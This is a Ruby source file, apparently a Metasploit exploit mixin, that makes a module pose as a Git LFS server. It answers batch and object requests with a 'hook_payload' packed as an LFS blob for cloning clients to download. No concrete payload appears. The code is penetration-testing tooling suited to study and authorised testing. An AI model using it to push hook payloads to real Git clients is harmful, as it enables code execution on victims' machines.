module Msf
  # This mixin adds functionality to enable modules to send and receive git LFS objects
  module Exploit::Git::Lfs
    include Msf::Exploit::Git

    def generate_pointer_file(obj_data)
      return '' if obj_data.empty?

      <<~PTR_FILE
        version https://git-lfs.github.com/spec/v1
        oid sha256:#{Digest::SHA256.hexdigest(obj_data)}
        size #{obj_data.length}
      PTR_FILE
    end

    # Generates a Git LFS response to a batch request
    #
    # @param [Rex::Proto::Http::Request] the Git LFS request
    # @param [String] the URL of the Git server
    # @param [Array] list of objects in Git repo
    #
    # @return [Msf::Exploit::Git::Lfs::Response]
    def get_batch_response(request, server_addr, repo_objects)
      server_addr = server_addr.to_s unless server_addr.is_a?(String)
      server_addr = server_addr.gsub(%r{/\w+\.git}, '')

      repo_objects = [ repo_objects ] unless repo_objects.is_a?(Array)
      response = Msf::Exploit::Git::Lfs::Response.from_http_request(request, server_addr)
      return nil unless response

      unless response.valid_objects?(repo_objects) || response.code != 200
        print_error('Client requested objects not in repository')
        return response
      end

      obj_data_arr = []
      response.valid_objs.each do |obj|
        sha = Msf::Exploit::Git::Lfs::Response.obj_sha256(obj.content)
        time = Time.now + 3600
        obj_data_arr <<
          {
            'oid' => sha,
            'size' => obj.content.size,
            'actions' =>
            {
              'download' =>
              {
                'href' => "#{response.base_addr}/#{sha}",
                'expires_at' => time.strftime('%FT%TZ'),
                'expires_in' => 3600
              }
            }
          }
      end

      response.body = { 'objects' => obj_data_arr }.to_json

      response
    end

    # Generates a response to a Git LFS object request
    #
    # @param [Rex::Proto::Http::Request] Git client request
    # @param [Array] list of objects in Git repository
    #
    # @return [Msf::Exploit::Git::Lfs::Response]
    def get_requested_obj_response(request, repo_objects)
      repo_objects = [ repo_objects ] unless repo_objects.is_a?(Array)

      response = Msf::Exploit::Git::Lfs::Response.from_http_request(request)
      return nil unless response

      unless response.valid_objects?(repo_objects) || response.code != 200
        print_error('Client requested an object that is not in the repository')
        return response
      end
      response.body = response.valid_objs.first.content

      response
    end

    def handle_lfs_objects(req, hook_payload, git_addr)
      git_hook_obj = Msf::Exploit::Git::Lfs::GitObject.build_blob_object(hook_payload)

      case req.method
      when 'POST'
        print_status('Sending payload data...')
        response = get_batch_response(req, git_addr, git_hook_obj)
        fail_with(Failure::UnexpectedReply, 'Client request was invalid') unless response
      when 'GET'
        print_status('Sending LFS object...')
        response = get_requested_obj_response(req, git_hook_obj)
        fail_with(Failure::UnexpectedReply, 'Client sent invalid request') unless response
      else
        fail_with(Failure::UnexpectedReply, 'Unable to handle client\'s request')
      end

      response
    end

    def send_refs(req)
      fail_with(Failure::UnexpectedReply, 'Git client did not perform a clone') unless req.service == 'git-upload-pack'

      response = get_ref_discovery_response(req, @refs)
      fail_with(Failure::UnexpectedReply, 'Failed to build a proper response to the ref discovery request') unless response

      response
    end

    def send_requested_objs(req)
      upload_pack_resp = get_upload_pack_response(req, @git_objs)
      unless upload_pack_resp
        fail_with(Failure::UnexpectedReply, 'Could not generate upload-pack response')
      end

      upload_pack_resp
    end
  end
end